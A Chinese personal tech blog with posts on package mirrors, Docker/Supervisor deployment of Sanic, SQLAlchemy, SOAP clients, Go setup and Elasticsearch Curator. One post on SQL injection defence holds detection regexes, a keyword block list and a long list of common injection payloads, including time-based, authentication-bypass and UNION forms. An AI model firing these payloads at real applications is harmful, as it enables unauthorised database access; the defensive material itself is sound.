晨曦's Blog

This is a window to the soul

国内的 PYPI 源也挺多的,经过实际使用下来,还是觉得华为的 PYPI 源包的版本最为齐全,推荐用华为的源进行加速

临时使用

运行以下命令使用华为源:

1
pip install -r requirements.txt --trusted-host https://repo.huaweicloud.com -i https://repo.huaweicloud.com/repository/pypi/simple

或者

1
pip install --trusted-host https://repo.huaweicloud.com -i https://repo.huaweicloud.com/repository/pypi/simple sanic

通过上面的方式安装单个包

设为默认

Pip 的配置文件为用户根目录下的:~/.pip/pip.confWindows 路径为:C:\Users\<UserName>\pip\pip.ini), 您可以配置如下内容:

1
2
3
4
[global]
index-url = https://repo.huaweicloud.com/repository/pypi/simple
trusted-host = repo.huaweicloud.com
timeout = 120

其他国内镜像源:

1
2
3
4
5
阿里云:http://mirrors.aliyun.com/pypi/simple/
中国科技大学:https://pypi.mirrors.ustc.edu.cn/simple/
豆瓣(douban):http://pypi.douban.com/simple/
清华大学:https://pypi.tuna.tsinghua.edu.cn/simple/
中国科学技术大学:http://pypi.mirrors.ustc.edu.cn/simple/

个人推荐使用华为的 Alpine 源,通过我的测试华为的源最为齐全

华为

1
sed -i 's/dl-cdn.alpinelinux.org/repo.huaweicloud.com/g' /etc/apk/repositories

阿里

1
sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories

科大

1
sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories

清华

1
sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories

Docker

1
RUN sed -i 's/dl-cdn.alpinelinux.org/repo.huaweicloud.com/g' /etc/apk/repositories

最近开发 Python 一直在用 Sanic,感觉还不错;看看如何将 Sanic 部署到 Docker 中并用 Supervisor 来守护

Dockerfile

这里利用 Python 3.9 来构建基础镜像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM python:3.9-alpine

RUN sed -i 's/dl-cdn.alpinelinux.org/repo.huaweicloud.com/g' /etc/apk/repositories

RUN apk update \
&& apk add --no-cache build-base \
&& apk add --no-cache libffi-dev

RUN mkdir /usr/src/app

COPY . /usr/src/app/

COPY ./supervisor/supervisord.conf /etc/supervisord.conf

WORKDIR /usr/src/app
ENV PYTHONPATH /usr/src/app

RUN pip3 install supervisor \
&& pip3 install -r requirements.txt --trusted-host https://repo.huaweicloud.com -i https://repo.huaweicloud.com/repository/pypi/simple

CMD ["supervisord", "-c", "/etc/supervisord.conf"]

这里利用华为的 alpine 源和 pypi

Supervisor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[unix_http_server]
file=/var/run/supervisor.sock

[supervisord]
logfile=/var/log/supervisord.log
logfile_maxbytes=50MB
logfile_backups=10
loglevel=info
pidfile=/var/run/supervisord.pid
nodaemon=true
silent=false
minfds=1024
minprocs=200

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface

[supervisorctl]
serverurl=unix:///var/run/supervisor.sock

[program:sanic]
user = root
directory=/usr/src/app
command=sanic server.app --host=0.0.0.0 --port=8888 --workers=4
stdout_logfile_backups=20
stdout_logfile_maxbytes=50MB
stdout_logfile = /var/log/sanic.log
stderr_logfile = /var/log/sanic.err
autostart=true

Supervisor 配置参考


题外话:

容器运行 Supervisor 记得设置 nodaemon=true,或则会出现 Unlinking stale socket /var/run/supervisor.sock

因为 Supervisor 默认是 deamon 模式,启动命令结束后 Supervisor 会在后台运行,而容器运行启动命令返回 0 后自己关闭了,导致一直出现无法运行的现象

错误 / 修复

此错误是利用 python:3.9-alpine 在打包 Docker 镜像时遇到的

1
2
3
4
5
c/_cffi_backend.c:15:10: fatal error: ffi.h: No such file or directory
15 | #include <ffi.h>
| ^~~~~~~
compilation terminated.
error: command '/usr/bin/gcc' failed with exit code 1

修复

1
apk add --no-cache libffi-dev

UbuntuCentos 中应该

1
2
3
apt-get install libffi-dev

yum install libffi-devel

错误 / 修复

错误:

1
pip._vendor.urllib3.exceptions.ReadTimeoutError: HTTPSConnectionPool(host='files.pythonhosted.org', port=443): Read timed out.

修复:

1
pip3 install --default-timeout=1000 --no-cache-dir -r requirements.txt

或者是利用国内的 pypi

SQL 防注入

一般在项目中我们不太会去注意 SQL 注入的问题,因为我们会使用 ORM,而 ORM 在实现的过程中也会帮我做 SQL 注入过滤;但有的时候 ORM 没法满足我们的需求,这时可能就会手撸原生 SQL 来执行

注意!!极其不建议使用拼接 sql 语句,这样很容易引起 sql 注入!!

如果必须要自己拼接 sql 语句,请使用 mysql.escape 方法;或者利用正则来对输入参数进行过滤。以 Python为例利用 re.compile 生成正则表达式,然后利用 re.search 进行判断,实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pattern = re.compile(
r"(%27)|(\')|(\-\-)|(%23)|(#)|" # Regex for detection of SQL meta-characters
r"\w*((%27)|(\'))\s+((%6F)|o|(%4F))((%72)|r|(%52))\s*|" # Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or',
r"((%3D)|(=))[^\n]*((%27)|(\')|(\-\-)|(%3B)|(;))" # Regex for typical SQL Injection attack eg: '= 1 --'
r"((%27)|(\'))union|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))select|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))insert|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))update|" # Regex for detecting SQL Injection with the UNION keyword
r"((%27)|(\'))drop", # Regex for detecting SQL Injection with the UNION keyword
re.IGNORECASE,
)
r = pattern.search("' OR 1 -- -")
if r:
return True

也有一种直接简单粗暴的方法,那就是直接过滤关键字:

1
pattern = r"\b(exec|insert|union|select|drop|grant|alter|delete|update|count|chr|mid|truncate|delclare)\b|(;)"

Payload

常用 SQL 注入 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
--- 通用SQL注入payload

' or '
-- or #
' OR '1
' OR 1 -- -
OR "" = "
" OR 1 = 1 -- -"
' OR '' = '
'='
'LIKE'
'=0--+
OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2

--- 基于时间的payload

,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

--- 基于通用错误的payload

OR 1=1
OR 1=1#
OR x=y#
OR 1=1--
OR x=x--
OR 3409=3409 AND ('pytW' LIKE 'pytW
HAVING 1=1
HAVING 1=1#
HAVING 1=0--
AND 1=1--
AND 1=1 AND '%'='
WHERE 1=1 AND 1=0--
%' AND 8310=8310 AND '%'='

--- 基于认证的payload

' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
or true--
" or true--
' or true--
") or true--
') or true--
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/

--- Order by和UNION的payload

1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+
1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+
1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --
-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --
-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@
1 AND (SELECT * FROM Users) = 1
' AND MID(VERSION(),1,1) = '5';
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

常用正则表达式参考

客户端

Python 中的 Webservice 客户端 suds 常用的有两个包

suds-py3

suds

目前选择的是 suds,安装

1
pip install suds

解析

具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import xml.etree.ElementTree as ET

from suds.client import Client

url = "http://172.19.7.7/PSIGW/PeopleSoftServiceListeningConnector/PSFT_HR/CST_INF_SERVICE.13.wsdl"
client = Client(url)

print(client)

result = client.service.CST_INF_JOBCODE_OUT(
BATCH_NUM="xxx",
IFAC_CODE="xxx",
REQUEST_DATA="<![CDATA[<ROOT><CST_PAGENUMBER>1</CST_PAGENUMBER><CST_PAGESIZE>300</CST_PAGESIZE><RUN_TYPE>ALL</RUN_TYPE><TOKENID>xxx</TOKENID><SYSTEM>xxx</SYSTEM></ROOT>]]>",
)

root = ET.fromstring(result["RETURN_DATA"])
for child in root:
print(child[2].text)

先看看看 client 中的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
Suds ( https://fedorahosted.org/suds/ )  version: 1.0.0

Service ( CST_INF_SERVICE ) tns="http://xmlns.oracle.com/Enterprise/Tools/services/CST_INF_SERVICE.13"
Prefixes (2)
ns0 = "http://xmlns.oracle.com/Enterprise/Tools/schemas/CST_INF_REQ.V1"
ns1 = "http://xmlns.oracle.com/Enterprise/Tools/schemas/CST_INF_RSP.V1"
Ports (1):
(CST_INF_SERVICE_Port)
Methods (1):
CST_INF_JOBCODE_OUT(xs:string BATCH_NUM, xs:string IFAC_CODE, xs:string REQUEST_DATA)
Types (2):
ns0:REQUEST
ns1:RESPONSE

如上所示 CST_INF_JOBCODE_OUT 方法有 3 个参数而且都是 string 类型,这里重点说说 REQUEST_DATA,原生请求 Xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:erp="http://xmlns.oracle.com/Enterprise/Tools/schemas/CST_INF_R
EQ.V1">
<soapenv:Header/>
<soapenv:Body>
<erp:REQUEST>
<erp:BATCH_NUM>xxx</erp:BATCH_NUM>
<erp:IFAC_CODE>xxx</erp:IFAC_CODE>
<erp:REQUEST_DATA>
<![CDATA[
<ROOT>
<CST_PAGENUMBER>100</CST_PAGENUMBER>
<CST_PAGESIZE>1</CST_PAGESIZE>
<RUN_TYPE>ALL</RUN_TYPE>
<TOKENID>xxx</TOKENID>
<SYSTEM>xxx</SYSTEM>
</ROOT>]]>
</erp:REQUEST_DATA>
</erp:REQUEST>
</soapenv:Body>
</soapenv:Envelope>

对于 REQUEST_DATA 中的 CDATA 包裹部分应该选择原样传入

1
2
3
4
5
6
7
8
<![CDATA[
<ROOT>
<CST_PAGENUMBER>100</CST_PAGENUMBER>
<CST_PAGESIZE>1</CST_PAGESIZE>
<RUN_TYPE>ALL</RUN_TYPE>
<TOKENID>xxx</TOKENID>
<SYSTEM>xxx</SYSTEM>
</ROOT>]]>

最后是对 xml 的解析可以利用 ElementTree,具体可以参考

ElementTree

自适应将 Bytes 格式化为可读性更高的单位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
formatSize(bytes) {
const sizes = ["Bytes", "KB", "MB", "GB", "TB"];
if (bytes == 0) {
return bytes + " " + sizes[0];
}
let flag = "";
if (bytes < 0) {
bytes = Math.abs(bytes);
flag = "-";
}
const i = parseInt(Math.floor(Math.log(bytes) / Math.log(1024)));
if (i == 0) {
return bytes + " " + sizes[i];
}
return flag + (bytes / Math.pow(1024, i)).toFixed(4) + " " + sizes[i];
},

效果图如下:

count

1
2
3
4
5
select(func.count())
.select_from(table)
.where(
table.c.status == 1,
)

count if

1
2
3
4
5
6
7
func.COUNT(
func.IF(
user.c.province == "重庆",
True,
None,
)
).label("province"),

exists

1
2
3
4
5
6
7
8
9
select(["*"])
.select_from(table1)
.where(
table1.c.status == 1,
exists()
.where(
table1.c.id == table2.c.table1_id,
),
)

如果要使用 not exists 只需要在 exists() 前加上 ~ 变成 ~exists()

动态条件

1
2
3
conditions = []
conditions.append(user.c.sex == 1)
select(["*"]).select_from(user).where(and_(*conditions))

update

1
2
3
4
5
user.update()
.where(
user.c.id == 1
)
.values(score=user.c.score + 1)

order_by

1
2
3
4
#  升序
.order_by(user.c.id)
# 降序
.order_by(user.c.id.desc())

未完待续…

环境

GO 的环境安装可以使用 brew

1
brew install go

接下来只需要配置一下对应的环境信息

1
2
3
4
5
export GOPATH=/Users/jakehu/Documents/go
export GOBIN=$GOPATH/bin
export PATH=$PATH:$GOBIN
export GOPROXY=https://goproxy.cn,direct
export GO111MODULE=on

VSCODE

利用 goimports 格式化 import 排序使用

1
go install -v golang.org/x/tools/cmd/goimports@latest

利用 golangci-lint 做静态代码检查

1
go install -v github.com/golangci/golangci-lint/cmd/golangci-lint@latest

vscode 配置

1
2
3
4
5
6
7
8
9
10
11
// GO
"go.toolsManagement.autoUpdate": true,
"go.useLanguageServer": true,
"gopls": {
"experimentalWorkspaceModule": true,
},
"go.autocompleteUnimportedPackages": true,
"go.formatTool": "gofmt",
"go.lintTool": "golangci-lint",
"go.lintOnSave": "workspace",
// GO

前言

CuratorElastic 官方发布的一个管理 Elasticsearch 索引的工具,可以完成许多索引生命周期的管理工作,例如清理创建时间超过 7 天的索引、每天定时备份指定的索引、定时将索引从热节点迁移至冷节点等等。

安装

PIP

如果没有安装 pip 先安装 pip

1
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo

利用阿里的 epel

1
yum -y install python-pip

Curator

Curator 本身是基于 Python 实现,所以可以使用 pip 安装

1
pip install elasticsearch-curator

升级

1
pip install -U elasticsearch-curator

查看版本

1
2
# curator --version
curator, version 5.8.4

使用

配置

新建配置文件 curator.yml,具体格式可以参考官方默认的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
---
client:
hosts:
- 127.0.0.1
port: 9200
url_prefix:
use_ssl: False
certificate:
client_cert:
client_key:
ssl_no_validate: False
username: elastic # elastic用户
password: password # elastic密码
timeout: 30
master_only: False

logging:
loglevel: INFO
logfile:
logformat: default
blacklist: ['elasticsearch', 'urllib3']

删除

新建执行动作文件 delete_indices.yml,比如我执行删除7天前的索引

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
---
actions:
1:
action: delete_indices
description: "delete the index 7 days ago"
filters:
- filtertype: pattern
kind: prefix
value: filebeat-nginx-error-
- filtertype: age
source: name
direction: older
timestring: '%Y.%m.%d'
unit: days
unit_count: 7

执行

1
curator --config /etc/curator/config.yml /etc/curator/action/delete_indices.yml

执行结果如下:


未完待续